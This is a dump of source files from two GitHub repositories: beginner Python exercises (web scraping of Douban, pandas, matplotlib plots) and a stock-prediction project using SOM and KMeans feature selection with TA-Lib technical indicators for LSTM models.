"detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 197, "license_type": "no_license", "max_line_length": 63, "num_lines": 9, "path": "/用Python玩转数据/overridepro.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from doginsta import Dog\n\nclass BarkingDog(Dog):\n\tdef greet(self):\n\t\tprint('Wood!I am %s,my number is %d'%(self.name,Dog.counter))\n\nif __name__ == '__main__':\n\tdog = BarkingDog('Zoe')\n\tdog.greet()\n" }, { "alpha_fraction": 0.6613102555274963, "alphanum_fraction": 0.6625463366508484, "avg_line_length": 24.28125, "blob_id": "eec0fd4b3d0c29bc0efde71d0492bd9f89501784", "content_id": "37e9a4895bf9ccb0a7ecd4fed24ed24c7af4589e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 809, "license_type": "no_license", "max_line_length": 79, "num_lines": 32, "path": "/Count.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "#print('Give me two numbers,and I will divide them.')\n#print(\"Enter 'q' to quit\")\n\n#while True:\n\t#first_number = input('First number:')\n\t#if first_number == 'q':\n\t\t#break\n\t#second_number = input('Second_number:')\n\t#if second_number == 'q':\n\t\t#break\n\t#try:\n\t\t#result = int(first_number) / int(second_number)\n\t#except ZeroDivisionError:\n\t\t#print('You can not divide by 0!')\n\t#else:\n\t\t#print(result)\n\ndef count_words(filename):\n\ttry:\n\t\twith open(filename) as file_object:\n\t\t\tcontents = file_object.read()\n\texcept FileNotFoundError:\n\t\tmsg = 'Sorry,the file ' + filename + ' does not exit.'\n\t\tprint(msg)\n\telse:\n\t\twords = contents.split()\n\t\tnum_words = len(contents)\n\t\tmessage = 'The file ' + filename + ' has about ' + str(num_words) + ' words.'\n\t\tprint(message)\n\nfilename = 'wonderland.txt'\ncount_words(filename)\n" }, { "alpha_fraction": 0.6161879897117615, "alphanum_fraction": 0.647519588470459, "avg_line_length": 26.285715103149414, "blob_id": "a0084dfd528766d95c987d34d692530df85efe68", "content_id": "50b29c3f2e7f1030eebcb96871a06fcbf02121db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 387, "license_type": "no_license", "max_line_length": 77, "num_lines": 14, "path": "/test.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "ISO-8859-13", "text": "# -*- coding: utf-8 -*-\n# coding:utf-8\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nfor page in range(0,250,25):\n url = 'https://book.douban.com/top250?start=£ūstart£ż'.format(start=page)\n html = urlopen(url)\n bsObj = BeautifulSoup(html)\n\n for title in bsObj.findAll('a'):\n if 'title' in title.attrs:\n print(title.attrs['title'])\n\n" }, { "alpha_fraction": 0.6453201770782471, "alphanum_fraction": 0.6477832794189453, "avg_line_length": 32.83333206176758, "blob_id": "3bed7e4b4a59abb5126d7587cf5a8ea8ff0c7cf8", "content_id": "903c7e67e5f5b6b26809d6bd1c7b8aa1a3c8fe3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 406, "license_type": "no_license", "max_line_length": 65, "num_lines": 12, "path": "/用Python玩转数据/excel.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import pandas as pd\n\ndf = pd.DataFrame()\ndf = pd.read_excel('excel.xlsx',sheet_name = 'scores')\ndf['sum'] = df['Python'] + df['Math']\ndf.to_excel('excel2.xlsx',sheet_name = 'scores')\n\n#import pandas as pd\n#stu_df = pd.DataFrame()\n#stu_df = pd.read_excel('stu_scores.xlsx', sheet_name = 'scores')\n#stu_df['sum'] = stu_df['Python'] + stu_df['Math']\n#stu_df.to_excel('stu_scores.xlsx', sheet_name = 'scores')\n" }, { "alpha_fraction": 0.66008460521698, "alphanum_fraction": 0.7193229794502258, "avg_line_length": 26.269229888916016, "blob_id": "bf5a6a295f0b552f694ec6c7146325c99165c2a6", "content_id": "9fc2734453a00e158cc0e6e76bfefc89aec33a6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 759, "license_type": "no_license", "max_line_length": 65, "num_lines": 26, "path": "/Data Visualization/mpl_squares.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "GB18030", "text": "#coding=gbk\nimport matplotlib.pyplot as plt\n\n#input_values = [1,2,3,4,5]\n#squares = [1,4,9,16,25]\n#plt.plot(input_values,squares,linewidth=5)\n\n#plt.scatter(2,4,s=200)\n\nx_values=list(range(1,1001))\ny_values=[i**2 for i in x_values]\n#plt.scatter(x_values,y_values,c='red',edgecolor='none',s=10)\n#plt.scatter(x_values,y_values,c=(0,0,0.5),edgecolor='none',s=40)\nplt.scatter(x_values,y_values,c=y_values,cmap=plt.cm.Blues,\n\tedgecolor='none',s=40)\n\n#设置图表标题,并给坐标轴加上标签\nplt.title('Square Numbers',fontsize=24)\nplt.xlabel('Value',fontsize=14)\nplt.ylabel('Square of value',fontsize=14)\n\n#设置刻度标记的大小\nplt.tick_params(axis='both',which='major',labelsize=14)\n\n#plt.show()\nplt.savefig('squares_plot.png',bbox_inches='tight')\n" }, { "alpha_fraction": 0.6328502297401428, "alphanum_fraction": 0.7149758338928223, "avg_line_length": 19.700000762939453, "blob_id": "f954b15e7b4b7d98313f2e3dc9c0d7d54f9cd5aa", "content_id": "f03f3e3ef26c8057eed64cb6ad98109b4026c551", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 207, "license_type": "no_license", "max_line_length": 56, "num_lines": 10, "path": "/用Python玩转数据/DouBanAPI.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "#coding=gbk\nimport requests\n\nurl = 'https://api.douban.com/v2/book/26319730'\nr = requests.get(url)\nprint(r.text)\n\nurl = 'https://api.douban.com/v2/movie/subject/:1291546'\nr = requests.get(url)\nprint(r.text)\n" }, { "alpha_fraction": 0.6164020895957947, "alphanum_fraction": 0.631393313407898, "avg_line_length": 28.102563858032227, "blob_id": "4c383fd933d5f1715cb4664d6310a2b902216178", "content_id": "3cee47964a4af382cb8f5bf3ccf0e1144da7de6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1140, "license_type": "no_license", "max_line_length": 90, "num_lines": 39, "path": "/douban_top250/DoubanBooksTop250.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# coding:utf-8\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\ntitleList = []\nratingList = []\npeonumList = []\nfor page in range(0,250,25):\n url = 'https://book.douban.com/top250?start={start}'.format(start=page)\n html = urlopen(url)\n bsObj = BeautifulSoup(html)\n\n for title in bsObj.findAll('a'):\n if 'title' in title.attrs:\n # print(title.attrs['title'])\n titleList.append(title.attrs['title'])\n\n ratingSet = bsObj.findAll('span',{'class':'rating_nums'})\n for rating in ratingSet:\n ratingList.append(rating.string)\n\n peopleSet = bsObj.findAll('span',{'class':'pl'})\n for peonum in peopleSet:\n peonumList.append(peonum)\n # peopleSet = bsObj.find('span', attrs={\"class\": \"pl\"}).string.strip('\\r\\n ()人评价')\n\n\n# print(titleList)\n# print(ratingList)\n# print(peonumList)\n\nfilename = 'DoubanBooksTop250.csv'\ntop_num = 1\nwith open (filename,'w') as file_object:\n for (name,rating_num) in zip(titleList,ratingList):\n file_object.write('Top'+ str(top_num) + ',' + name + ',' + str(rating_num) + '\\n')\n top_num += 1" }, { "alpha_fraction": 0.5888158082962036, "alphanum_fraction": 0.6052631735801697, "avg_line_length": 24.33333396911621, "blob_id": "e0fe2dc4aacbcb60585aa712629145bf52d27f88", "content_id": "1eb49db8b1f98379afe42ee3fa7ec7108bd9158e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 304, "license_type": "no_license", "max_line_length": 57, "num_lines": 12, "path": "/用Python玩转数据/puncount.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "aStr = 'Hello,World!'\nbStr = aStr[:7] + 'Python!'\ncount = 0\nfor ch in bStr[:]:\n\tif ch in ',.:!?':\n\t\tcount += 1\nprint(count)\nprint('Punctuation marks = ',count)\nif count >= 2:\n\tprint('There are ' + str(count) + ' punctuation marks.')\nelif count < 2:\n\tprint('There is ' + str(count) + 'punctuation mark.')\n" }, { "alpha_fraction": 0.6808510422706604, "alphanum_fraction": 0.7021276354789734, "avg_line_length": 17.799999237060547, "blob_id": "a8e0514cc6f13a8cd81dc0c0d4b15863ca34f880", "content_id": "fb3a85cf23b5210ea7c50a6d6687dccb617b8599", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 94, "license_type": "no_license", "max_line_length": 40, "num_lines": 5, "path": "/用Python玩转数据/dji.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import requests\n\nurl = 'http://money.cnn.com/data/dow30/'\nr = requests.get(url)\nprint(r.text)\n" }, { "alpha_fraction": 0.6018766760826111, "alphanum_fraction": 0.6447721123695374, "avg_line_length": 17.219512939453125, "blob_id": "deee0b7d342e3653ac9977e368141056711330e5", "content_id": "c4166c82c1f56520b34a4f20746e985bc31962ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 746, "license_type": "no_license", "max_line_length": 56, "num_lines": 41, "path": "/Data Visualization/tushare_test.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import tushare as ts\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport pygal\n\n# df = ts.get_gdp_year()\n# df.to_excel('gdp.xlsx')\n\n# df.gdp.plot()\n#\n# ax = plt.gca()\n# # ax.invert_xaxis()\n# plt.show()\n\nfilename = 'gdp.xlsx'\ndf = pd.read_excel(filename)\n\n# plt.plot(df['year'],df['gdp'],c='red')\n# # plt.gca().invert_xaxis()\n#\n# plt.title('GDP 1952 - 2016')\n# plt.xlabel('Year')\n# plt.ylabel('Money')\n#\n# plt.show()\n\ngdplist = list(df['gdp'])\ngdplist.reverse()\n\nhist = pygal.Bar()\n\nhist.title = 'GDP 1952 - 2016'\n# hist.x_labels = list(str(i) for i in range(1952,2017))\nhist.x_labels = map(str, range(1952,2017))\n\nhist.x_title = 'Year'\nhist.y_title = 'Money'\n\nhist.add('GDP',gdplist)\nplt.gca().invert_xaxis()\nhist.render_to_file('GDP.svg')" } ]
63
debashish373/Deep-Learning-for-Time-Series
https://github.com/debashish373/Deep-Learning-for-Time-Series
70e8e2da11db30f09a60286c171c978a9dd5ee6b
4bae8a62ca03f07294709e9e4c864fa1357d3176
62e4e9eabb89d7a620b3fce61943ea98fe2fb8a2
refs/heads/main
2023-07-15T07:02:17.022119
2021-08-23T17:45:40
2021-08-23T17:45:40
399,158,038
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6103038191795349, "alphanum_fraction": 0.6215323805809021, "avg_line_length": 30.35416603088379, "blob_id": "00738364f0383a281c2ed0a00738da91d6c52aa0", "content_id": "bfcdc80ed6d419c31721388dbaf76b48151b95dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1514, "license_type": "no_license", "max_line_length": 125, "num_lines": 48, "path": "/src/_SOM.py", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "import itertools\nfrom sklearn import preprocessing\nfrom minisom import MiniSom\nimport numpy as np\nimport pandas as pd\n\n#Custom SOM class based on the Minisom library \n\nclass _SOM:\n def __init__(self,df,units):\n self.df=df.copy()\n self.X=preprocessing.scale(df.copy())\n self.units=units\n\n som=MiniSom(self.units,self.units,len(self.X[0]),neighborhood_function='gaussian',random_seed=2021)\n som.random_weights_init(self.X)\n som.train_random(self.X,100,verbose=True)\n \n self.W=som.get_weights()\n\n @property\n def _get_weights(self):\n return self.W\n \n \n def _features(self,cols,threshold=0.5):\n \n \"\"\"\n Features are selected based on the similarity mapping of the weight vectors for each feature.\n The norm of the differences between two weight vectors is taken as a proxy for similarity.\n A threshold of 0.5 for the norm difference is taken as default, below which one feature out of the two is eliminated.\n \n \"\"\"\n\n combs=[c for c in itertools.combinations(cols,2)]\n features=cols.copy()\n\n norms=np.array([np.linalg.norm(self.W[:,:,cols.index(c[0])]-self.W[:,:,cols.index(c[1])]) for c in combs])\n _max=max(norms)\n _min=min(norms)\n norms=list([(n-_min)/(_max-_min) for n in (norms)])\n\n for i,c in enumerate(combs):\n\n if norms[i]<threshold and c[1] in features:\n features.remove(c[1])\n\n return features\n \n " }, { "alpha_fraction": 0.5925925970077515, "alphanum_fraction": 0.7407407164573669, "avg_line_length": 9.800000190734863, "blob_id": "03426a9f5bfa27ea4a3d7643fe884c639aa6d8a1", "content_id": "5f65e43a278d304ae4ba0396f1a2453e3b00c2fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 54, "license_type": "no_license", "max_line_length": 16, "num_lines": 5, "path": "/requirements.txt", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "TA-Lib\ntqdm==4.62.1\nyfinance==0.1.63\nminisom\nargparse\n" }, { "alpha_fraction": 0.626616358757019, "alphanum_fraction": 0.6384698152542114, "avg_line_length": 32.03571319580078, "blob_id": "74c2d9d15b6aec73b19ee2700ede286db5c73e0e", "content_id": "d5e3604b7f801686318cffde3a91b41158435b80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1856, "license_type": "no_license", "max_line_length": 112, "num_lines": 56, "path": "/src/_KMeans.py", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "import itertools\nfrom sklearn import preprocessing,cluster\nfrom minisom import MiniSom\nimport numpy as np\nimport pandas as pd\n\nfrom scipy.spatial.distance import cdist\nimport matplotlib.pyplot as plt\n\n#Custom KMeans class based on the sklearn library\n\nclass _KMeans:\n def __init__(self,df,k):\n self.df=df\n self.X=preprocessing.scale(df.T.fillna(999))\n self.k=k\n self.cols=df.columns.tolist()\n\n def _fit(self):\n self.kmeans=cluster.KMeans(n_clusters=self.k,init='random',max_iter=100,random_state=21)\n self.kmeans.fit(self.X)\n\n @property\n def _inertia(self):\n return self.kmeans.inertia_\n\n @property\n def _distortion(self):\n return sum(np.min(cdist(self.X,self.kmeans.cluster_centers_,metric='euclidean'),axis=1))/self.X.shape[0]\n\n def _elbow_plot(self,distortions,inertias,Ks,figsize=(25,3)):\n fig,ax=plt.subplots(figsize=figsize)\n ax.plot(Ks,distortions,color='brown',marker='X',label='distortions')\n ax_=ax.twinx()\n ax_.plot(Ks,inertias,color='k',marker='o',label='inertias')\n ax.set_xlabel('K')\n ax.legend(loc=(0.9,0.9))\n ax_.legend(loc=(0.9,0.8))\n plt.show()\n \n return fig\n\n @property\n def _features(self):\n \n \"\"\"\n Features are selected based on the distance of a particular feature to the cluster centroid.\n The one with the least distance is chosen from a particular cluster.\n \n \"\"\"\n self._fit()\n feat=pd.DataFrame({'feature':self.df.T.index.tolist()})\n feat['cluster']=self.kmeans.labels_\n feat['dist']=np.min(cdist(self.X,self.kmeans.cluster_centers_,metric='euclidean'),axis=1)\n feat=feat.sort_values(by='dist',ascending=False).drop_duplicates(subset='cluster',keep='last')\n return feat.feature.tolist()\n\n \n" }, { "alpha_fraction": 0.48996832966804504, "alphanum_fraction": 0.5237592458724976, "avg_line_length": 34.936710357666016, "blob_id": "91f1a6e5c8380c4cad935e349bc423708fc69eba", "content_id": "f6c8bdcb276fcb0ebd93486dfda806f46c25d4ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2841, "license_type": "no_license", "max_line_length": 157, "num_lines": 79, "path": "/src/feature_selection.py", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "from _KMeans import _KMeans\nfrom _SOM import _SOM\n\nimport numpy as np\n\ndef select_features(df,method='SOM'):\n \n if method=='SOM':\n \n cols=df.columns.tolist()\n \n sm=_SOM(df.copy(),units=100)\n \n features1=sm._features(cols=cols[:7]) #Stock price/Volume\n features2=sm._features(cols=cols[7:63]) #Market data\n features3=sm._features(cols=cols[63:67]) #Bond specific data (spreads/yields)\n features4=sm._features(cols=cols[67:114]) #Fin ratios\n features5=sm._features(cols=cols[114:]) #Technical indicators from TALIB\n \n features_som=features1+features2+features3+features4+features5\n \n if 'dret' not in features_som:\n features_som=features_som+['dret']\n \n return features_som\n \n elif method=='KMC':\n def get_ks(threshold):\n \n t=[]\n \n cols=df.columns.tolist()\n \n f1=cols[:7] #Stock price/Volume\n f2=cols[7:63] #Market data\n f3=cols[63:67] #Bond specific data (spreads/yields)\n f4=cols[67:114] #Fin ratios\n f5=cols[114:] #Technical indicators from TALIB\n \n for i,f in enumerate([f1,f2,f3,f4,f5]):\n \n distortions=[]\n inertias=[]\n \n deltas=[]\n \n Ks=np.arange(1,len(f)) if len(f)<30 else np.arange(1,30)\n \n for k in (Ks):\n \n km=_KMeans(df[f].copy(),k)\n km._fit()\n distortions.append(km._distortion)\n inertias.append(km._inertia)\n \n deltas=list(-np.diff(distortions))\n #print(deltas)\n try:\n t.append(deltas.index(max([x for x in deltas if x<threshold]))) #selecting the K for which the decrease is below the specified threshold \n except:\n t.append(Ks[-1])\n return t\n \n k=get_ks(0.01)#No of clusters to be chosen for each feature set\n \n cols=df.columns.tolist()\n \n features1=_KMeans(df[cols[:7]].copy(),k[0])._features #Stock price/Volume\n features2=_KMeans(df[cols[7:63]].copy(),k[1])._features #Market data\n features3=_KMeans(df[cols[63:67]].copy(),k[2])._features #Bond specific data (spreads/yields)\n features4=_KMeans(df[cols[67:114]].copy(),k[3])._features #Fin ratios\n features5=_KMeans(df[cols[114:]].copy(),k[4])._features #Technical indicators from TALIB\n \n features_km=features1+features2+features3+features4+features5\n \n if 'dret' not in features_km:\n features_km=features_km+['dret']\n \n return features_km\n " }, { "alpha_fraction": 0.7947247624397278, "alphanum_fraction": 0.8016055226325989, "avg_line_length": 47.05555725097656, "blob_id": "63087079d0e001a18a760b448f4bc7a6358a426d", "content_id": "49ff7531b5bef4476a8461324bcb365308e221ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 872, "license_type": "no_license", "max_line_length": 499, "num_lines": 18, "path": "/README.md", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "\n# LSTMs for Time Series Prediction\n\n\nThis project employs Long Short Term Memory Networks (LSTMs) to predict the direction of price movements for five European stocks from five different industries for varying window sizes, where a classification approach for 5D forward return predictions is used. Three different LSTM architectures have been used and compared for accuracies. A comparison of LSTMs with tree based models has also been carried out, and further possibilities of viewing the project as a regression problem were checked.\n\nFeature selection was carried out using SOM/KMeans\n\nHyperparameters for the LSTM architectures were optimized using Optuna.\n\nFurther research on improving AUC scores are ongoing.\n## Usage/Examples\n\n```python\npip install -r requirements.txt\n\ncd src\n\npython main.py --ticker TTE.PA --timestep 10 --forward 5 --epochs 10 --fs SOM\n\n\n\n \n" }, { "alpha_fraction": 0.6587412357330322, "alphanum_fraction": 0.6629370450973511, "avg_line_length": 27.959182739257812, "blob_id": "4028a535385f3b6f60baf232b22f23aa09794756", "content_id": "0b81e473ee51e9cbbb307c62c08eefaa079b0103", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1430, "license_type": "no_license", "max_line_length": 120, "num_lines": 49, "path": "/src/main.py", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "from features import stocks\nfrom _LSTM import _LSTM,check_metrics\nfrom _Dataset import _Dataset\nimport feature_selection\nfrom sklearn import metrics\nimport numpy as np\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nimport argparse\n\ndef run(ticker,timestep=10,forward=5,epochs=5,fs='SOM'):\n \n features=feature_selection.select_features(stocks[ticker],method=fs)\n \n print('\\nFeatures selected:\\n')\n print(features)\n print('\\n')\n \n data=_Dataset(stocks[ticker][features],timestep=timestep,forward=forward).prepare(convert=True)\n \n lstm_model=_LSTM(data,timestep=timestep,type='vanilla lstm')\n lstm_model._fit(epochs=epochs)\n \n check_metrics(ticker,data,lstm_model)\n print('\\nAUC for ',forward,'-Day Forward Return prediction:',np.round(metrics.auc(lstm_model.fpr,lstm_model.tpr),4))\n \n print('\\nDone!')\n \n# 5 tickers to choose from ['BATS.L','DTE.DE','RNO.PA','SIE.DE','TTE.PA']\nif __name__==\"__main__\":\n \n parser=argparse.ArgumentParser()\n parser.add_argument(\"--ticker\",type=str)\n parser.add_argument(\"--timestep\",type=int)\n parser.add_argument(\"--forward\",type=int)\n parser.add_argument(\"--epochs\",type=int)\n parser.add_argument(\"--fs\",type=str)\n \n args=parser.parse_args()\n \n run(\n ticker=args.ticker,\n timestep=args.timestep,\n forward=args.forward,\n epochs=args.epochs,\n fs=args.fs,\n )\n \n \n\n" }, { "alpha_fraction": 0.6892006397247314, "alphanum_fraction": 0.7128154635429382, "avg_line_length": 55.74800109863281, "blob_id": "27b65b23112ca4fe66a11e9cc1fff43ed7e847de", "content_id": "1d1b4745171f99ddeee2e9070513b5a97a028b51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14186, "license_type": "no_license", "max_line_length": 164, "num_lines": 250, "path": "/src/features.py", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\n\nimport yfinance as yf\nfrom sklearn import impute\nimport datetime as dt\nimport talib\n\n# Data extracts\n\n#Features: Spreads, Xassets, Fin Ratios (extracted from Bloomberg and Capital IQ!)\n\nspreads=pd.read_csv(r'../inputs/spreads.csv');spreads['Date']=pd.to_datetime(spreads['Date'])\nxassets=pd.read_excel(r'../inputs/xassets.xlsx')\n\n#Imputing missing values:\nimputer=impute.SimpleImputer()\nxassets=pd.DataFrame(imputer.fit_transform(xassets.set_index('Date')),columns=xassets.set_index('Date').columns,index=xassets.set_index('Date').index)\n\ndtickers=['BATSLN','DT','RENAUL','SIEGR','TTEFP'] #Debt tickers used to extract values from Capital IQ, Bloomberg and iBoxx\nfin_ratios={}\n\nfor ticker in dtickers:\n fin_ratios[ticker]=pd.read_excel(r'../inputs/fin_ratios.xlsx',sheet_name=ticker).replace(0,np.nan).replace('NM',np.nan).bfill().ffill().dropna(how='all',axis=1)\n fin_ratios[ticker]['Date']=fin_ratios[ticker].iloc[:,0].apply(lambda x:dt.datetime.strptime(str(int(x[2:3])*3)+'-'+str(x[-4:]),'%m-%Y'))\n fin_ratios[ticker]=fin_ratios[ticker].iloc[:,1:].set_index('Date')\n fin_ratios[ticker].columns=[c for c in map(lambda x:x.split('iq_')[1],fin_ratios[ticker].columns.tolist())]\n \n# Extracting Stock Prices from Yahoo Finance!\n\nytickers=['BATS.L','DTE.DE','RNO.PA','SIE.DE','TTE.PA'] #5 European stocks from different industries\nstocks={}\n\nfor ticker,ticker_ in zip(ytickers,dtickers):\n stocks[ticker]=yf.download(progress=False,start='2004-01-01',end='2021-08-10',tickers=ticker)\n stocks[ticker]['dret']=stocks[ticker].Close.apply(lambda x:np.log(x))-stocks[ticker].Close.shift(1).apply(lambda x:np.log(x))\n stocks[ticker]=stocks[ticker].dropna()\n\n #combining prices with spreads,finratios and xassets:\n stocks[ticker]=stocks[ticker].join(xassets).join(spreads[spreads.Ticker==ticker_].drop('Ticker',axis=1).set_index('Date')).join(fin_ratios[ticker_])\n stocks[ticker]=stocks[ticker].bfill().ffill()#missing fin ratios\n stocks[ticker]=stocks[ticker].dropna(how='all',axis=1)\n \n# Technical Indicators from TALIB\n\ndef TA(df):\n # Cyclical Indicators\n df['HT_DCPERIOD']=talib.HT_DCPERIOD(df.Close)\n df['HT_DCPHASE']=talib.HT_DCPHASE(df.Close)\n df['HT_PHASOR1'],df['HT_PHASOR2']=talib.HT_PHASOR(df.Close)\n df['HT_SINE1'],df['HT_SINE2']=talib.HT_SINE(df.Close)\n df['HT_TRENDMODE']=talib.HT_TRENDMODE(df.Close)\n\n # Math Operators\n df['ADD']=talib.ADD(df.High,df.Low)\n df['DIV']=talib.DIV(df.High,df.Low)\n df['MAX']=talib.MAX(df.Close,timeperiod=30)\n df['MAXINDEX']=talib.MAXINDEX(df.Close,timeperiod=30)\n df['MIN']=talib.MIN(df.Close,timeperiod=30)\n df['MININDEX']=talib.MININDEX(df.Close,timeperiod=30)\n df['MULT']=talib.MULT(df.High,df.Low)\n df['SUB']=talib.SUB(df.High,df.Low)\n df['SUM']=talib.SUM(df.Close,timeperiod=30)\n\n # Math Transform\n df['ACOS']=talib.ACOS(df.Close)\n df['ASIN']=talib.ASIN(df.Close)\n df['ATAN']=talib.ATAN(df.Close)\n df['CEIL']=talib.CEIL(df.Close)\n df['COS']=talib.COS(df.Close)\n df['COSH']=talib.COSH(df.Close)\n df['EXP']=talib.EXP(df.Close)\n df['FLOOR']=talib.FLOOR(df.Close)\n df['LN']=talib.LN(df.Close)\n df['LOG10']=talib.LOG10(df.Close)\n df['SIN']=talib.SIN(df.Close)\n df['SINH']=talib.SINH(df.Close)\n df['SQRT']=talib.SQRT(df.Close)\n df['TAN']=talib.TAN(df.Close)\n df['TANH']=talib.TANH(df.Close)\n\n # Momentum Indicators\n df['ADX']=talib.ADX(df.High,df.Low,df.Close,timeperiod=14)\n df['ADXR']=talib.ADXR(df.High,df.Low,df.Close,timeperiod=14)\n df['APO']=talib.APO(df.Close,fastperiod=12,slowperiod=26,matype=0)\n df['AROONDN'],df['AROONUP']=talib.AROON(df.High,df.Low,timeperiod=14)\n df['AROONOSC']=talib.AROONOSC(df.High,df.Low,timeperiod=14)\n df['BOP']=talib.BOP(df.Open,df.High,df.Low,df.Close)\n df['CCI']=talib.CCI(df.High,df.Low,df.Close,timeperiod=14)\n df['CMO']=talib.CMO(df.Close,timeperiod=14)\n df['DX']=talib.DX(df.High,df.Low,df.Close,timeperiod=14)\n df['MACD'],df['MACDSIGNAL'],df['MACDHIST']=talib.MACDEXT(df.Close,fastperiod=12,fastmatype=0,slowperiod=26,slowmatype=0,signalperiod=9,signalmatype=0)\n df['MFI']=talib.MFI(df.High,df.Low,df.Close,df.Volume,timeperiod=14)\n df['MINUS_DI']=talib.MINUS_DI(df.High,df.Low,df.Close,timeperiod=14)\n df['MINUS_DM']=talib.MINUS_DM(df.High,df.Low,timeperiod=14)\n df['MOM10']=talib.MOM(df.Close,timeperiod=10)\n df['MOM30']=talib.MOM(df.Close,timeperiod=30)\n df['MOM50']=talib.MOM(df.Close,timeperiod=50)\n df['PLUS_DI']=talib.PLUS_DI(df.High,df.Low,df.Close,timeperiod=14)\n df['PLUS_DM']=talib.PLUS_DM(df.High,df.Low,timeperiod=14)\n df['PPO']=talib.PPO(df.Close,fastperiod=12,slowperiod=26,matype=0)\n df['ROC']=talib.ROC(df.Close,timeperiod=10)\n df['ROCP']=talib.ROCP(df.Close,timeperiod=10)\n df['ROCR']=talib.ROCR(df.Close,timeperiod=10)\n df['ROCR100']=talib.ROCR100(df.Close,timeperiod=10)\n df['RSI']=talib.RSI(df.Close,timeperiod=14)\n df['SLOWK'],df['SLOWD']=talib.STOCH(df.High,df.Low,df.Close,fastk_period=5,slowk_period=3,slowk_matype=0,slowd_period=3,slowd_matype=0)\n df['FASTK'],df['FASTD']=talib.STOCHF(df.High,df.Low,df.Close,fastk_period=5,fastd_period=3,fastd_matype=0)\n df['FASTK_'],df['FASTD_']=talib.STOCHRSI(df.Close,timeperiod=14,fastk_period=5,fastd_period=3,fastd_matype=0)\n df['TRIX']=talib.TRIX(df.Close,timeperiod=30)\n df['ULTOSC']=talib.ULTOSC(df.High,df.Low,df.Close,timeperiod1=7,timeperiod2=14,timeperiod3=28)\n df['WILLR']=talib.WILLR(df.High,df.Low,df.Close,timeperiod=14)\n\n # Overlap Studies\n df['BBU'],df['BBM'],df['BBL']=talib.BBANDS(df.Close,timeperiod=5,nbdevup=2,nbdevdn=2,matype=0)\n df['DEMA10']=talib.DEMA(df.Close,timeperiod=10)\n df['DEMA30']=talib.DEMA(df.Close,timeperiod=30)\n df['EMA5']=talib.EMA(df.Close,timeperiod=5)\n df['EMA10']=talib.EMA(df.Close,timeperiod=10)\n df['EMA30']=talib.EMA(df.Close,timeperiod=30)\n df['HT_TRENDLINE']=talib.HT_TRENDLINE(df.Close)\n df['KAMA10']=talib.KAMA(df.Close,timeperiod=10)\n df['KAMA30']=talib.KAMA(df.Close,timeperiod=30)\n df['MA5']=talib.MA(df.Close,timeperiod=5,matype=0)\n df['MA10']=talib.MA(df.Close,timeperiod=10,matype=0)\n df['MA30']=talib.MA(df.Close,timeperiod=30,matype=0)\n df['MAMA'],df['FAMA']=talib.MAMA(df.Close)\n df['MIDPOINT']=talib.MIDPOINT(df.Close,timeperiod=14)\n df['MIDPRICE']=talib.MIDPRICE(df.High,df.Low,timeperiod=14)\n df['SAR']=talib.SAR(df.High,df.Low,acceleration=0,maximum=0)\n df['SMA5']=talib.SMA(df.Close,timeperiod=5)\n df['SMA10']=talib.SMA(df.Close,timeperiod=10)\n df['SMA30']=talib.SMA(df.Close,timeperiod=30)\n df['T3']=talib.T3(df.Close,timeperiod=5,vfactor=0)\n df['TEMA10']=talib.TEMA(df.Close,timeperiod=10)\n df['TEMA30']=talib.TEMA(df.Close,timeperiod=30)\n df['TRIMA10']=talib.TRIMA(df.Close,timeperiod=10)\n df['TRIMA30']=talib.TRIMA(df.Close,timeperiod=30)\n df['WMA10']=talib.WMA(df.Close,timeperiod=10)\n df['WMA30']=talib.WMA(df.Close,timeperiod=30)\n\n # Pattern Recognition\n 